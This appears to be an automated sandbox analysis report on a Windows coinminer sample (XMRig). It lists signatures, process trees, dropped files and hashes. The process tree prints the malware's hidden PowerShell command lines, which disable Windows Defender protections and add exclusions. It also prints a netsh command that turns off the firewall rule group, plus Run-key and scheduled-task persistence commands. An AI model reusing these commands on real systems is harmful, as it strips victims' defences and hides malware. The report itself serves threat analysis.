Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/07/2026, 00:42

General

  • Target
    2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
  • Size 16.4MB
  • Sample260724-a2vejaytez
  • SHA256 3b127639b5933e1570aad16e28d7e2da7d97a8c799cb27e74c251197072690cb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Windows security bypass 2 TTPs 2 IoCs
  • XMRig Miner payload 22 IoCs
  • Detects executables containing artifacts associated with disabling Widnows Defender 19 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 19 IoCs
  • Detects executables referencing many IR and analysis tools 19 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 6 IoCs
  • Windows security modification 2 TTPs 4 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 11 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Delays execution with timeout.exe 1 IoCs
  • Detects videocard installed 1 TTPs 10 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies registry key 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-24_e52974f2620f598ded1e48bcf2620e8f_akira_cobalt-strike_coinminer_glassworm_icedid_luca-stea.exe"
    1⤵
    • Windows security bypass
    • Windows security modification
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Restart-Service WinDefend -Force -EA SilentlyContinue; Start-Sleep 3; Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'UpdateHealthTools.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'DiagnosticsHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthSystray.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'WinSqmApi.exe' -EA SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue; netsh advfirewall firewall set rule group='Windows Defender Firewall' new enable=no 2>$null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3624
      • C:\Windows\system32\netsh.exe
        "C:\Windows\system32\netsh.exe" advfirewall firewall set rule "group=Windows Defender Firewall" new enable=no
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        PID:1360
    • C:\Windows\system32\reg.exe
      "reg" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHostSvc /t REG_SZ /d \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:5348
    • C:\Windows\system32\schtasks.exe
      "schtasks" /Create /SC ONLOGON /TN Microsoft\Windows\RuntimeBroker\WindowsHostSvc /TR \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /RL HIGHEST /F
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:5040
    • C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
      "C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe"
      2⤵
      • Windows security bypass
      • Executes dropped EXE
      • Windows security modification
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Restart-Service WinDefend -Force -EA SilentlyContinue; Start-Sleep 3; Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'UpdateHealthTools.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'DiagnosticsHost.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'SecurityHealthSystray.exe' -EA SilentlyContinue; Add-MpPreference -ExclusionProcess 'WinSqmApi.exe' -EA SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1112
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -MAPSReporting 0 -SubmitSamplesConsent 2 -EA SilentlyContinue; netsh advfirewall firewall set rule group='Windows Defender Firewall' new enable=no 2>$null"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:5340
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" advfirewall firewall set rule "group=Windows Defender Firewall" new enable=no
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:5280
      • C:\Windows\system32\reg.exe
        "reg" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsHostSvc /t REG_SZ /d \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /f
        3⤵
        • Adds Run key to start application
        • Modifies registry key
        PID:3592
      • C:\Windows\system32\schtasks.exe
        "schtasks" /Create /SC ONLOGON /TN Microsoft\Windows\RuntimeBroker\WindowsHostSvc /TR \"C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe\" /RL HIGHEST /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3156
      • C:\ProgramData\Microsoft\Windows\Caches\Templates\UpdateHealthTools.exe
        "C:\ProgramData\Microsoft\Windows\Caches\Templates\UpdateHealthTools.exe" --wd1
        3⤵
        • Executes dropped EXE
        PID:5536
      • C:\ProgramData\Microsoft\Windows\Caches\USOShared\DiagnosticsHost.exe
        "C:\ProgramData\Microsoft\Windows\Caches\USOShared\DiagnosticsHost.exe" --wd2
        3⤵
        • Executes dropped EXE
        PID:2452
      • C:\ProgramData\Microsoft\Windows\Caches\ShaderCache\SecurityHealthSystray.exe
        "C:\ProgramData\Microsoft\Windows\Caches\ShaderCache\SecurityHealthSystray.exe" --wd3
        3⤵
        • Executes dropped EXE
        PID:4756
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:2820
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        • Suspicious behavior: EnumeratesProcesses
        PID:4452
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:5848
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        • Suspicious behavior: EnumeratesProcesses
        PID:1620
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:5252
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:1920
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:5036
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:992
      • C:\Windows\Temp\wermgr.exe
        "C:\Windows\Temp\wermgr.exe" --no-color --config C:\Windows\Temp\mssetup.dat
        3⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        PID:2724
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:5388
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:3044
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:3196
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:4572
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:1032
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:3120
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:6112
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:5964
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:4648
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:4304
      • C:\Windows\system32\cmd.exe
        "cmd" /C ver
        3⤵
        • Executes a command shell one-liner
        PID:4676
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path Win32_VideoController get Name /value
        3⤵
        • Detects videocard installed
        PID:3240
    • C:\Windows\system32\cmd.exe
      "cmd" /C C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5788
      • C:\Windows\system32\timeout.exe
        timeout /t 2 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:572
  • C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
    "C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe"
    1⤵
    • Executes dropped EXE
    PID:5872

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        SecurityHealthHost.dat

        • Path C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.dat
        • Size 4B
        • SHA256 f6e5ff547d5a47ff234d9a5e91f57ee2eed7df94375fdbbec7056fef90fc4c7f
        • MD5 SHA1 SHA512

        SecurityHealthHost.exe

        • Path C:\ProgramData\Microsoft\Windows\Caches\SecurityHealthHost.exe
        • Size 16.4MB
        • SHA256 3b127639b5933e1570aad16e28d7e2da7d97a8c799cb27e74c251197072690cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        SecurityHealthSystray.dat

        • Path C:\ProgramData\Microsoft\Windows\Caches\ShaderCache\SecurityHealthSystray.dat
        • Size 4B
        • SHA256 62b1165a9a2cc72290c05c2feee73528b9b225557ba666aa31c5dc246956f878
        • MD5 SHA1 SHA512

        UpdateHealthTools.dat

        • Path C:\ProgramData\Microsoft\Windows\Caches\Templates\UpdateHealthTools.dat
        • Size 4B
        • SHA256 29ed487a5ab401890a08b02767670f620f780f930695a38f829e5b147d69fe83
        • MD5 SHA1 SHA512

        DiagnosticsHost.dat

        • Path C:\ProgramData\Microsoft\Windows\Caches\USOShared\DiagnosticsHost.dat
        • Size 4B
        • SHA256 bba1dc9846ddd9a44c3d3b736faa5bdb6673b8d0fe1b0dd445c9f9adfda2ff72
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 8a47c61c01c9a0af7c92a510c0967f09c3e507e4c66c1f766c062f8cb31be191
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 c6fd95fcc0d0ce96eaf4e9ad77a27da569c5fbfd67be937f5cdf778a24112d93
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 1aaa642dc0d9be3b9a472c6c1c61e71b93f98aba678fde420a4c44786460c57b
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_d3dwrfjw.4tu.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d3dwrfjw.4tu.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        __rtsvc_cleanup.bat

        • Path C:\Users\Admin\AppData\Local\Temp\__rtsvc_cleanup.bat
        • Size 204B
        • SHA256 d48627e0362172ba587d06b22b04a296a96d2f10282a2083f16acea89eafae77
        • MD5 SHA1 SHA512 TLSH

        mssetup.dat

        • Path C:\Windows\Temp\mssetup.dat
        • Size 519B
        • SHA256 ff29833842fc3f81d79af48e2a9c0bea2d97a336072b8027b516e2f795aa6dbe
        • MD5 SHA1 SHA512 TLSH

        wermgr.exe

        • Path C:\Windows\Temp\wermgr.exe
        • Size 6.1MB
        • SHA256 d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1968-22-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp

        memory/1968-47-0x00007FF62BE10000-0x00007FF62CB82000-memory.dmp

        memory/2348-103-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-107-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-76-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-80-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-84-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-88-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-127-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-123-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-111-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-115-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-56-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2348-119-0x00007FF6948B0000-0x00007FF695622000-memory.dmp

        memory/2452-78-0x00007FF697DB0000-0x00007FF698B22000-memory.dmp

        memory/2724-100-0x0000022005D00000-0x0000022005D20000-memory.dmp

        memory/3624-38-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-26-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-37-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-39-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-40-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-43-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-36-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-35-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-23-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-32-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-31-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-30-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-28-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/3624-27-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-11-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-9-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-21-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-1-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-19-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-2-0x000001DB06290000-0x000001DB062B2000-memory.dmp

        memory/4232-18-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-17-0x000001DB1E490000-0x000001DB1E49A000-memory.dmp

        memory/4232-16-0x000001DB1E940000-0x000001DB1E9F2000-memory.dmp

        memory/4232-15-0x000001DB1E470000-0x000001DB1E48E000-memory.dmp

        memory/4232-12-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-0-0x00007FFF2469F000-0x00007FFF246A0000-memory.dmp

        memory/4232-10-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-3-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-8-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-7-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4232-4-0x00007FFF24510000-0x00007FFF24EB4000-memory.dmp

        memory/4756-79-0x00007FF767EF0000-0x00007FF768C62000-memory.dmp

        memory/5536-77-0x00007FF73F630000-0x00007FF7403A2000-memory.dmp

        memory/5872-48-0x00007FF6948B0000-0x00007FF695622000-memory.dmp